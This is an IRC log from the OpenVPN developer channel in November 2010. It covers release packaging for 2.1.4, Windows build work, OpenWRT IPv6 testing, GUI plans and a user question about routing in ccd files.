ports 14:02 <@mattock> fkr: yep 14:02 < fkr> oki. thanks for the feedback! 14:03 <@mattock> no prob 14:05 < ecrist> mattock: thanks for that, can you make sure it becomes 'normal' for releases now, please? 14:05 <@mattock> yeah, it's normal as long as I make the releases and nobody invents new places to put our files into :) 14:06 <@jamesyonan> mattock: yes, I can do that 14:07 <@mattock> ecrist, fkr: is it a problem if snapshot packages are stored on build.openvpn.net? do you use them for anything? 14:07 < fkr> i dont 14:07 < ecrist> no, I create my own snapshot for -devel port 14:07 <@mattock> ok, good 14:07 < ecrist> -beta and the main release use swupdate 14:07 < fkr> openbsd does not have a devel port 14:08 <@mattock> you can count on release packages being on swupdate.openvpn.net/community/releases 14:09 <@mattock> jamesyonan: much appreciated! 14:09 <@jamesyonan> mattock: tar.xz file sig is here: http://secure.openvpn.net/openvpn-2.1/ 14:09 <@vpnHelper> Title: Index of /openvpn-2.1 (at secure.openvpn.net) 14:09 <@mattock> thanks! I'll copy it to swupdate 14:10 <@mattock> ok, the signature file is now here: http://swupdate.openvpn.net/community/releases/openvpn-2.1.4.tar.xz.asc 14:17 -!- m-a [~mandree@f055102210.adsl.alicedsl.de] has joined #openvpn-devel 14:17 -!- Irssi: #openvpn-devel: Total of 20 nicks [8 ops, 0 halfops, 0 voices, 12 normal] 14:18 < ecrist> mattock: m-a is the port maintainer for the openvpn release port 14:18 < m-a> in FreeBSD, that is. 14:18 < m-a> http://freshports.org/security/openvpn 14:18 <@vpnHelper> Title: FreshPorts -- security/openvpn (at freshports.org) 14:19 < m-a> ecrist: thanks for the introduction 14:19 < ecrist> np 14:19 < m-a> should've talked the past chat with Eric here ;) 14:20 <@mattock> hi m-a! 14:21 <@mattock> did the debian's famous "module assistant" ("m-a") command inspire your name? ;) 14:22 < m-a> Hi Mattock, no, just initials, in a boring way. :) 14:24 < ecrist> m-a: mattock is going to make sure the .xz files are rolled with releases from here on out 14:24 < m-a> good. 14:25 < ecrist> also, I'm going to roll the -devel port with .xz later this week 14:25 < m-a> I'd proposed to ecrist that in Makefile.am, AUTOMAKE_OPTIONS could be amended to include 1.11 dist-xz (without my testing this as of yet) so that "make dist" would just produce that. 14:26 * m-a has just switched the FreeBSD port to pull the .xz version instead of the .gz, for 28% download savings 14:29 <@raidz> Reddit folks please thumb up: http://www.reddit.com/r/technology/comments/e3n9t/openvpn_214_released/ 14:29 <@vpnHelper> Title: OpenVPN 2.1.4 Released : technology (at www.reddit.com) 15:39 <@mattock> m-a: adding dist-xz would make sense 15:45 <@mattock> hmm, release notes page has not been updated since 2.0 15:46 -!- m-a [~mandree@f055102210.adsl.alicedsl.de] has quit [Disconnected by services] 15:46 -!- m-a [~mandree@f055102210.adsl.alicedsl.de] has joined #openvpn-devel 15:47 < m-a> mattock: only thing I don't recall off-hand is if that overrides .gz generation 15:49 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 16:33 -!- m-a [~mandree@f055102210.adsl.alicedsl.de] has left #openvpn-devel ["bye"] 18:39 -!- krzie [~k@openvpn/community/support/krzee] has quit [Read error: Operation timed out] 18:39 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:15 -!- krzii [~k@ftp.secure-computing.net] has joined #openvpn-devel 23:16 -!- Netsplit *.net <-> *.split quits: krzee, waldner 23:20 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 23:20 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 23:20 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 23:22 -!- krzii [~k@ftp.secure-computing.net] has quit [Remote host closed the connection] 23:34 -!- krzie is now known as krzee --- Day changed Wed Nov 10 2010 00:30 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:07 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 02:11 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 02:29 -!- dazo_afk is now known as dazo 03:55 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:13 -!- takamichi [Takamichi@pm301-97-169.keyworld.net] has joined #openvpn-devel 05:37 < takamichi> Hey, I've been tasked with updating our Windows installer to 2.1.4. Since there are no pre-built binaries, can I just extract them from the latest windows build and drop them in the gen-prebuilt folder? Any advice would be much appreciated. 05:44 < takamichi> Perhaps this is better suited to #openvpn, I will try there 05:54 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 05:54 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:54 <@cron2> takamichi: this would work, and you get signed binaries that way :) 06:07 <@dazo> mattock: Not sure if you noticed, but I pushed out a new branch to the git tree yesterday evening, released-2.1 (which is based on the svn-BETA21 until (including) the 2.1.3 release) ... All 2.1 updates which we release will go there now 06:07 <@mattock> ok, good to know 06:07 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 06:07 <@dazo> and a signed v2.1.4 tag is available as well .... (git tag -v v2.1.4 or git checkout v2.1.4) 06:14 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 06:16 < takamichi> @cron2, thanks I'm going to start testing right away, thank you. 08:07 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 08:07 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:54 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 09:54 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 10:26 <@dazo> jamesyonan: FYI ... as you weren't here when I told it ... I've updated the git tree with a released-2.1 branch, which is based on your SVN BETA21 until the v2.1.3 release and then the patch for 2.1.4 and preparations are added in addition ... and there's a signed v2.1.4 tag available as well 11:41 -!- takamichi [Takamichi@pm301-97-169.keyworld.net] has quit [Ping timeout: 276 seconds] 11:55 -!- dazo is now known as dazo_afk 13:04 -!- dazo_h [~dazo@2001:470:9d83:350:213:e8ff:feb8:527f] has joined #openvpn-devel 13:25 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 240 seconds] 13:32 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 14:50 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 16:17 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 16:55 -!- dazo_h [~dazo@2001:470:9d83:350:213:e8ff:feb8:527f] has quit [Ping timeout: 245 seconds] 16:58 -!- dazo_h [~dazo@2001:470:9d83:350:213:e8ff:feb8:527f] has joined #openvpn-devel 17:10 -!- dazo_h [~dazo@2001:470:9d83:350:213:e8ff:feb8:527f] has quit [Quit: Leaving] --- Day changed Thu Nov 11 2010 00:53 -!- dazo_afk is now known as dazo 02:09 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 02:53 <@mattock> if there are any important issues we'd need to discuss today let me know... unfortunately dazo won't make it 03:19 -!- dazo is now known as dazo_afk 03:20 * cron2 won't make it either 03:20 <@cron2> as always, I'm interested in progress regarding coverity, IPv6, client testing :-) 03:40 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:45 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 03:45 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 03:52 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:56 <@mattock> wohoo, OpenSSL-1.0.0 build on windows worked! 04:00 <@mattock> cron2: I wouldn't expect progress with coverity yet... my current plan is this: 1) windows build, 2) test server/client setup, 3) pwm update, 4) coverity 04:00 <@mattock> focus, focus, focus :) 04:00 <@mattock> raidz: thanks for reinstalling VS, it seemed to do the trick 04:01 <@mattock> the problem was probably that it was using "Visual Studio x64 cross-tools command prompt" 04:01 <@mattock> don't know why that was installed 04:02 <@mattock> it was probably trying to link x86 machine language files (from masm) to x64 openssl libraries or something 04:08 -!- monas [~kaspar@88.119.154.240] has joined #openvpn-devel 05:38 -!- dazo_afk is now known as dazo 05:49 <@dazo> cron2: speaking of IPv6 ... I got my new TP-Link router ready configured with the basic stuff the other day, including IPv6 connectivity ... only need to configure OpenVPN now, your package installed flawlessly ... I hope I'll get some time this weekend playing with that 05:50 <@dazo> btw ... do we have a allmerged variant available as well for OpenWRT? ... I'd like to even get the IPv6 transport patch tested as well 05:51 <@dazo> mattock: great news about windows build!!! ...we're soon able to do the whole release management by ourselves, that's a good step forward! 05:51 * dazo is happy about that! 06:06 <@cron2> dazo: openvpn-allmerged is in openwrt packages now 06:06 <@dazo> cron2: ahh ... really? *me double checks* 06:06 <@cron2> it's not always up to date, as I only do updates "if something important happens" - based on ecrist's snapshots 06:06 <@cron2> it's not on 10.03, you need to go to the snapshot section 06:07 <@dazo> ahh! That's my mistake then 06:08 <@cron2> dazo: http://downloads.openwrt.org/snapshots/trunk/ar71xx/packages/openvpn-devel_201035-1_ar71xx.ipk 06:08 <@dazo> cool! thx! 06:10 <@dazo> OpenVPN testing-e142feff1ba5 mips-openwrt-linux [SSL] [LZO2] [MH] [PF_INET6] [IPv6 payload 20100307-1] built on Nov 10 2010 06:10 <@dazo> Originally developed by James Yonan 06:10 <@dazo> Copyright (C) 2002-2010 OpenVPN Technologies, Inc. <sales@openvpn.net> 06:10 <@dazo> nice :) 06:10 <@cron2> oh, that's one of the old packages that are not "2.x-testing-$git" yet :-) 06:10 <@cron2> seems I need to do an update 06:10 <@dazo> true :) 06:11 <@cron2> need to check what ecrist's tarballs do these days (this package is built from his tarballs) 06:12 <@dazo> it's more fixes missing as well ... including the remote_host routing table garbage fix you wrote 06:12 <@cron2> good point 06:13 <@dazo> I see now it's actually based on the old allmerged branch which I had to rebuild ... so it's plenty of things missing ... including JJO's fix for --multihome and probably some updates from your tree as well? 06:15 <@cron2> it's somewhat old, week 53 06:15 <@cron2> 35 06:15 <@cron2> mmmh 06:15 <@dazo> :) 06:15 <@cron2> what day does ecrist build his tarballs...? 06:15 <@dazo> Sunday's I believe 06:16 <@dazo> but there's no change yet in the allmerged branch 06:16 <@cron2> so sunday's change has all therelevant changes? 06:16 <@dazo> yeah 06:17 <@cron2> ok, lemme wrangle... 06:17 <@dazo> I did some update in that branch end of October ... of course, I'm gonna try to do some patch catchup this weekend as well, but not sure if I manage ecrists deadline 06:21 <@cron2> dhcp-62:tmp gert$ ftp ftp.secure-computing.netTrying 2610:150:4002::3:1... 06:21 <@cron2> Connected to ftp.secure-computing.net. 06:21 <@cron2> wohoo 06:21 <@dazo> nice! 06:22 * dazo discovered http://www.v6.facebook.com/ yesterday too 06:55 <@cron2> dazo: http://www.greenie.net/ipv6/backfire-10.03/openvpn-devel_201045-1_ar71xx.ipk if you want to give this a try 06:56 <@cron2> it compiled OK, but that's about all I can say about it - I'm at work, my WRT is at home and turned off right now 06:58 <@mattock> hey, do we have prebuilt windows tap driver available somewhere? 06:59 <@mattock> I'd need one to test openvpn build 06:59 <@cron2> mattock: james published a location when he built 2.1.3, but I don't have it around right now 06:59 <@mattock> cron2: ok, I'll try to find it 07:05 <@dazo> OpenVPN testing-7695ad84e29e mips-openwrt-linux [SSL] [LZO2] [IPv6 payload 20100922-1] [MH] [PF_INET6] built on Nov 11 2010 07:05 <@dazo> Originally developed by James Yonan 07:05 <@dazo> Copyright (C) 2002-2010 OpenVPN Technologies, Inc. <sales@openvpn.net> 07:05 <@dazo> cron2: ^^ passes a quick smoke test at least :) 07:08 <@cron2> still not the right version number *mumble* 07:08 <@cron2> (but maybe ecrist uses his own package-version-generation script) 07:08 <@dazo> huh? yeah, he probably does that 07:08 <@dazo> well, that version number thing is only critical on Windows though 07:09 < ecrist> what did I do wrong? 07:10 <@cron2> ecrist: not necessarily "wrong" :) 07:10 <@dazo> We probably forgot to tell you about a change we did in the bootstrap.sh script 07:10 <@cron2> we changed dazo's bootstrap script to generate a version number of "2.x-testing-<gitid>" 07:10 <@cron2> because the windows gui gets hickups if there is no "openvpn 2.x" in the --version string 07:10 * dazo finds the patch 07:11 <@dazo> http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=bd948f27a9aba46db03a7312be5fd035ca859401 07:11 <@vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/commitdiff (at openvpn.git.sourceforge.net) 07:11 < ecrist> http://pastebin.ca/1988049 07:11 < ecrist> that's my script 07:11 <@dazo> ecrist: my link is the patch we added to the allmerged branch ... just adding 4 chars 07:13 < ecrist> ok, I've applied that batch to my local bootstrap.sh 07:14 < ecrist> if you guys want, I can re-roll this weeks' tarball 07:14 <@dazo> nah, we can wait for the automation to kick in 07:14 < ecrist> ok, that'll build first thing sunday, then. 07:15 < ecrist> it'll be 201046 07:15 <@dazo> yeah, and it's almost Friday already :-P 07:15 < ecrist> is there an email list I can get on for git commits? 07:15 <@cron2> I'll push out an update for wrt right away - the version number doesn't hurt there, but the route-bug does (and --enable-small is not on in the last version) 07:16 < ecrist> I could have resolved this issue if I was using the bootstrap.sh in the source tree, rather than my local copy. 07:16 <@dazo> cron2: what do you mean with last version? ... --enable-small was missing on the package on your website but not the -devel versions 07:16 <@cron2> dazo: sure? 07:16 <@dazo> cron2: absolutely 07:17 <@cron2> the 201045 version has --enable-small, but my local Makefile says "201035 was not built with it" 07:17 <@dazo> ecrist: I'm thinking about to split the bootstrap.sh up on two parts ... the versioning stuff should be outside 07:17 < ecrist> why is that? 07:18 <@dazo> a bootstrap should basically work also on a tarball ... not requiring git trees ... and the bootstrap shouldn't really mess with the version scheme at all ... bootstrap should just prepare for the ./configure step 07:19 < ecrist> ah, right 07:19 < ecrist> see, locally, I have two scripts, tagscript.sh and bootstrap.sh 07:19 < ecrist> really, the versioning stuff should be taking place in tagscript 07:19 <@dazo> yeah, exactly 07:19 <@dazo> may I see your tagscript to? 07:20 < ecrist> yeah, it's in that pastebin I posted, above 07:20 <@dazo> ahh! that's the tagscript ... and then you have another bootstrapper 07:21 < ecrist> it appears I've never started using the rolled bootstrap, now that I'm looking at all this again. 07:21 <@dazo> heh ... okay, I should look at this soonish, I see :) 07:21 < ecrist> yeah, you and I collaborated on this ~10 months ago, got it working, and neither of us have really looked at it since. 07:22 <@dazo> exactly :) 07:22 <@dazo> it's basically been working since then .... never change a winning team ;-) 07:23 * dazo need to go to a meeting 07:24 <@cron2> have fun 08:01 <@mattock> interesting... "tapinstall.exe" is actually standard MS tool called "devcon.exe"... and openvpn windows build (with driver building) requires one to download devcon.exe _sources_ 08:01 <@mattock> which surprisingly are available 08:02 <@mattock> I'd say that renaming devcon.exe to tapinstall.exe is very confusing 08:02 <@cron2> you can just copy devcon.exe from somewhere in the DDK sample tree to tapinstall.exe 08:03 <@mattock> oh, settings.in claims it needs a "tapinstall.exe" source tree 08:03 <@mattock> I'll try it without the sources 08:03 <@mattock> win/settings.in that is 08:16 <@cron2> the domake-win script tells where to copy the stuff to 09:30 -!- dazo is now known as dazo_afk 09:36 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Remote host closed the connection] 09:44 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 09:51 -!- monas [~kaspar@88.119.154.240] has quit [Read error: Operation timed out] 09:57 -!- monas [~kaspar@88.119.154.240] has joined #openvpn-devel 10:49 -!- monas [~kaspar@88.119.154.240] has quit [Read error: Operation timed out] 12:39 -!- krzie [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 12:41 -!- monas [~kaspar@78-57-177-25.static.zebra.lt] has joined #openvpn-devel 13:04 <@mattock> it seems I managed to build a openvpn.exe on windows 13:04 <@mattock> not an installer, but an exe 13:04 <@mattock> that's a start :D 13:12 < ecrist> that's quite a feat, I'm told. 13:16 <@mattock> see for yourself: https://community.openvpn.net/openvpn/wiki/BuildingOnWindows 13:16 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 13:16 <@mattock> "fun" stuff :) 13:16 <@mattock> this is for the new Python-based build system 13:16 <@mattock> there seem to be some quirks in it, too 13:17 <@mattock> and complete lack of documentation, until now 13:19 -!- m-a [~mandree@eduroam-51-84.uni-paderborn.de] has joined #openvpn-devel 13:21 -!- m-a [~mandree@eduroam-51-84.uni-paderborn.de] has quit [Client Quit] 13:39 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 260 seconds] 13:40 -!- d457k [~heiko@vpn.astaro.de] has joined #openvpn-devel 13:40 -!- mode/#openvpn-devel [+o d457k] by ChanServ 13:45 <@cron2> re 13:46 <@cron2> mattock: congrats :) 14:05 < krzee> yes, very cool! 14:05 < krzee> [12:04] <krzee> !learn win_build as https://community.openvpn.net/openvpn/wiki/BuildingOnWindows for mattock's doc on building openvpn on windows 14:05 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 14:10 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:10 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:22 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Read error: No route to host] 14:45 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 14:46 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:51 <@mattock> thanks guys! 14:51 <@mattock> jamesyonan: I managed to generate an openvpn.exe using the python-based buildsystem 14:51 <@mattock> there were a couple of oddities (bugs?) I noticed 14:52 <@mattock> e.g. the SignTool python module 14:52 <@mattock> where can I get it? 14:53 <@mattock> also, options.c seems to require configure.h, which is not present by default and only seems to be used for listing build-time options on the openvpn executable 15:45 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 245 seconds] 17:42 -!- krzie [~k@ftp.secure-computing.net] has joined #openvpn-devel 17:42 -!- krzie [~k@ftp.secure-computing.net] has quit [Changing host] 17:42 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel --- Day changed Fri Nov 12 2010 00:53 -!- krzie [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 01:05 -!- dazo_afk is now known as dazo 01:06 -!- monas [~kaspar@78-57-177-25.static.zebra.lt] has quit [Ping timeout: 245 seconds] 01:06 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 01:26 <@dazo> \o/ got openvpn-allmerged to work with IPv6 payload between two laptops and my new openwrt router 01:26 <@cron2> \o/ indeed! :-) 01:27 <@dazo> Now it's just to tweak ip6tables to allow things in a sensible manner :) 01:28 <@dazo> cron2: how would you push default IPv6 route via openvpn? ... I'm thinking of how to get IPv6 connectivity when I'm on places with only IPv4 access 01:29 <@cron2> dazo: push "route-ipv6 0::0/0" or (if that doesn't work) push "route-ipv6 2000::/3" 01:29 <@cron2> as all IPv6 allocations currently come from that /3 01:30 <@cron2> there's no "default gateway redirection" stuff yet 01:30 <@dazo> ahh .. okay, I'll try that ... need to wait until I'm not just connected locally (having home office today) 01:31 <@cron2> hehe, yes. Trying to test "will my ipv6 tunnel work?" while connected to a network with native IPv6 can be somewhat tricky :) 01:31 <@dazo> yeah :) 01:32 <@dazo> But I'm happy this basic stuff works ... that means I can have more fun soon :) 01:32 -!- monas [~kaspar@88.119.154.240] has joined #openvpn-devel 01:33 <@dazo> whoops ... I see I've swapped to lines during a merge conflict in allmerged for the help screen .... 01:33 <@dazo> --proto p : Use protocol p for communicating with peer. 01:33 <@dazo> p = udp (default), tcp-server, or tcp-client 01:33 <@dazo> --proto-force p : only consider protocol p in list of connection profiles. 01:33 <@dazo> p = udp6, tcp6-server, or tcp6-client (ipv6) 01:33 <@dazo> (those two last ones) 01:33 <@cron2> funny merge problem :) 01:34 <@dazo> yeah :) 01:34 <@dazo> nah ... this is allmerged, and this is not critical at all ... I'm leaving it for another merge, to fix it then 01:35 <@cron2> did you come around to merging the Solaris TAP changes? I'm asking because when it's "in the tree", I'll cherrypick the change for the ipv6_payload branch 01:36 <@cron2> (otherwise we'll have a big merge conflict there, both branches do massive changes in that part of tun.c) 01:37 <@dazo> ahh ... I'll try to do that during today ... I'm hoping to have some time this weekend for some hacking (wife is travelling) 01:38 <@cron2> I might have time on the weekend as well, so this would be good (can't promise, travelling to Rome on Saturday, and while the hotel promises Internet access, one never knows...) 01:38 <@dazo> heh :) choosing Rome for hacking ... interesting ... ;-) 01:39 <@cron2> there's RIPE meeting next week, and I took a flight one day earlier 01:39 <@dazo> ahh! 01:39 <@cron2> (not for the purpose of *hacking* but to get two days of "enough sleep" before the meeting starts) 01:39 <@dazo> yeah, that I understand :) 01:39 <@cron2> ok, need to go and harrass^Wvisit customer... 01:40 <@dazo> have fun :) bring a bat ;-) 01:41 <@cron2> hehe :) 01:43 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:43 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:59 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 02:05 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 02:23 -!- monas [~kaspar@88.119.154.240] has quit [Read error: Operation timed out] 02:23 -!- monas [~kaspar@217.117.30.121] has joined #openvpn-devel 02:57 <@mattock> jamesyonan: there? 02:57 <@jamesyonan> yeah 02:58 <@mattock> how do you generate the NSIS installer from the stuff that the python build system generated to <build_root>/dist? 02:58 <@mattock> do you have a handy one-liner or something :) ? 02:59 <@jamesyonan> that's not covered yet by the python-based build system :( 02:59 <@jamesyonan> the old build system will do that however 03:00 <@mattock> I suppose I can run NSIS manually afterwards? 03:00 <@jamesyonan> it's mostly a matter of running makensis and having the paths in openvpn.nsi point to the right places in dist 03:00 <@mattock> yeah, that's what I thought 03:00 <@mattock> I could perhaps add makensis support to the python build system... should not be difficult 03:00 <@mattock> after doing it manually 03:01 <@mattock> what about the SignTool class? I could not find it anywhere 03:04 <@mattock> also, what it the OpenVPN XML-based GUI? 03:10 < monas> Hi, what is the reason why route is not allowed in ccd config files? 03:27 <@dazo> monas: if you use --user/--group on a Linux box. f.ex, then that user would not be able to manipulate the routing table 03:27 <@dazo> monas: and it's very seldom you need to modify the routing table when a client connects to a server ... pushing routes however are much more needed, and is supported 03:29 <@dazo> re: lack of user privileges to modify the routing table, that is the case for all *nix OSes, and probably also Windows if that gives the possibility to degrade the privileges after having setup the network 03:30 <@dazo> mattock: I'm guessing the XML based GUI is the GUI the OpenVPN AS Client uses ... as that differs a lot from the community based OpenVPN GUI 03:32 <@mattock> dazo: probably yes 03:33 <@mattock> I got to stab the nsi files quite a bit to accomodate the windows build system 03:36 <@mattock> I'm wondering if we should include Heiko's openvpn-gui in next beta... 03:36 <@jamesyonan> no, the XML-based GUI referenced by openvpn.nsi is obsolete. The OpenVPN-AS client is bundled as an MSI file -- it doesn't use NSIS. 03:41 <@dazo> ahh 03:42 <@dazo> mattock: a new and fresher openvpn-gui would be nice! If it has received quite some testing, then I'm ready for that in a next beta. But anyway interesting for an allmerged build 03:42 <@mattock> jamesyonan: ok 03:43 <@mattock> isn't the old openvpn-gui basically unmaintained? 03:47 <@dazo> yeah, but I don't know how much the gui has changed lately ... and I just want to ship something which completely breaks immediately for windows testers 03:47 <@dazo> moving over to a proper management interface is one of the bigger tasks for the GUI 03:47 <@mattock> you you _don't_ want to ship something that breaks everything :D 03:48 <@dazo> d457k: can you provide us with some confidence? ;-) 03:48 <@mattock> I agree 03:48 <@dazo> yeah, I skipped the "don't" word :) 03:49 * dazo oils his fingers so they can type as quickly as his thoughts 03:49 <@dazo> s/thoughts/thinks/ 03:49 <@d457k> dazo: what about 03:49 <@mattock> jamesyonan: it seems the existing openvpn.nsi depends on dynamically created variables which the shell scripts generate 03:49 <@dazo> d457k: is your new openvpn-gui ready for prime-time testing in 2.2-beta? 03:49 <@mattock> I may have to rewrite large portions of the nsi installer to make it work... which is no prob, but takes some time 03:50 <@d457k> dazo: no 03:50 <@dazo> mattock: ^^ 03:50 <@mattock> note that we could make the new gui an installer option, if it's usable at all 03:50 <@mattock> that would allow getting more feedback and testing 03:50 <@d457k> normally; i'd start to work on it next week, but another prj slipped in between 03:51 <@dazo> d457k: sure, no prob ... How usable is the current code base? 03:52 <@d457k> it's usable but the mgmt itf stuff isn't very broadly tested so far i suppose 03:52 <@dazo> d457k: so mattocks suggestion to make the new GUI optional during install can make some sense? 03:52 <@d457k> the new one vs the old one? 03:52 <@mattock> yeah 03:52 <@mattock> old one by default, yours as an option 03:53 <@d457k> how about the other way around 03:53 <@jamesyonan> mattock: yes, basically the idea of both the old (and new) build systems is that they are are driven by a master config in settings.in. So some of the openvpn.nsi settings are going to be derived from this file. You might want to run the old build system to generate the file, then rework the references in openvpn.nsi to point to the new build system's dist organization. 03:53 <@d457k> jamesyonan: will the free version use wix, too in the near future? 03:54 <@mattock> jamesyonan: could you send me the relevant, automatically generated files via email? I'd rather not learn every way there is to build openvpn :D 03:54 <@dazo> mattock: wimp! 03:54 <@mattock> ;) 03:54 <@d457k> when is the 2.2. beta due? 03:55 <@dazo> d457k: we're planning a beta4 soonish ... but that might be a week or two ... depends on how much hacking time I get this weekend 03:56 <@d457k> oh, so the new gui would be a late addition? 03:56 <@dazo> yeah 03:56 <@d457k> ok, then the new one should be optional i agree 03:57 <@d457k> i'm in. hopefully more bugs are found then 03:57 <@dazo> yeah ... even though if it is usable and is known to work 80% of the time ... I'm not too worried about putting the new one as default 03:58 <@d457k> well, i just tested with an astaro config 03:58 <@dazo> 2.2 is actually a minor upgrade from 2.1 now ... mostly bugfixes and some minor enhancements and an IPv6 enabled windows TUN/TAP driver ... that's it ... so a new GUI would give a better "sales argument" 03:58 * dazo wonders what an astaro config is .... 03:59 <@d457k> might be that other random config are 80%, but in std operation it's more like 95% 03:59 <@mattock> jamesyonan: what if I update the python-based buildsystem to generate the variables definition openvpn.nsi needs? 03:59 <@jamesyonan> mattock: okay I just emailed them to you 03:59 <@mattock> thanks! 03:59 <@jamesyonan> yeah, that might work 03:59 <@d457k> we roll out a rather easy config, via a portal, much like AS 04:00 <@d457k> and of course that's what i test with =P 04:01 <@dazo> d457k: std operations 95% success ... then I'm leaning towards making it default, with the old as a fallback .... mattock what do you think= 04:01 <@dazo> ? 04:03 <@d457k> but then there's not much bling added for users besides l8n 04:03 <@d457k> oh it's l10n, just counted it again =) 04:04 <@jamesyonan> d457k: no plans right now to do a free MSI-based installer, unless someone wants to volunteer :) 04:06 <@d457k> just asked because I'll do one sooner or later, but it will be much simpler and offer less choices, but would be ok as a base to move on from i guess 04:08 <@d457k> dazo: portal preview here http://demo03.astaro.com/ admin/v8demo 04:08 <@vpnHelper> Title: User Portal (at demo03.astaro.com) 04:08 <@d457k> dazo: but: aaah not remote access enabled 04:08 * dazo looks 04:08 <@d457k> fail 04:19 <@mattock> dazo: re: old as fallback sounds good 04:19 <@mattock> jamesyonan: sent mail regarding the configure.h/options.c issue 04:20 <@mattock> and thanks for the autodefs files! 04:20 <@mattock> helps a lot 04:21 <@mattock> it seems my Windows adventures won't stop any time soon ;) 04:34 <@mattock> dazo: I'll be sending a few patches to the -devel list soon... a few issues with the new build system I need to fix 04:34 <@mattock> I think those could be included in both beta2.2 and allmerged 04:37 <@dazo> mattock: sure! build-system patches shouldn't need too much critical review, so if they're ready today or tomorrow, I'll try to get them in asap ... together with a lot of other patches 04:38 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:48 < monas> dazo: use case 1: star topology, adding another ray with a LAN behind it. In this case I create (copy+edit) another ccd file, add "route" to central server.conf file, manually add route to the new network via tunX interface 04:49 < monas> I don't do kill -HUP because 1) I don't like to disrupt other links; 2) if I used --user/--group, I would not have permitions to add that route anyway 04:50 < monas> ir that route would be made automatically, I would need just one step, so fewer places to forget or make mistakes 04:50 <@dazo> monas: with --user/--group you have the needed privileges for setting up the needed network config ... then OpenVPN will degrade its privileges 04:51 <@dazo> that's why OpenVPN must be started as root/administrator to start with 04:51 < monas> dazo: even on restart? 04:51 < monas> I mean, reconfiguration 04:52 <@dazo> monas: on a reconfiguration it will lack the privileges ... I'm planning to look at providing capabilities on Linux to allow the --user/--group to modify the routing table without root privileges ... but haven't had time yet 04:54 <@dazo> but it seems to me that you want openvpn to do what routing daemons are supposed to do ... remember that OpenVPN is supposed to be as narrowed down as possible, providing a VPN connection - not necessarily stuff which other programs probably can do better 04:55 < monas> use case 2: change of ISP (I'm in the middle of the process). I was not able to listen to all interfaces (and I don't know how to make to listen just two), so I setup second server. If ccd would contain routes required, all process would be change of dns record. 04:55 < monas> Now I had to manually change configurations one by one 04:56 < monas> I have ~20 of them, spent half day doing so 04:56 <@dazo> I'm not so much into the advanced topics as dynamic routing, like what OSPF or BGP provides ... but this sounds more like such tasks belongs more to them 04:57 < monas> I'm not asking for OSPF and BGP 04:57 < monas> OpenVPN knows better when client is connected and when it is not 04:58 < monas> therefore, I think, it is the best place to manage routes of networks connected using it 04:58 <@dazo> OpenVPN cannot listen to more than one port/protocol at the time. It can listen to all IP addresses (0.0.0.0) or just one selected IP address, nothing in between ... that is going to be improved in OpenVPN 3 for sure ... for 2.x, it's quite a lot of work to rewrite that code 04:59 <@dazo> monas: well, OpenVPN do not support any real cases of dynamic routes ... and to be honest, I am not sure that will happen in the near future 05:01 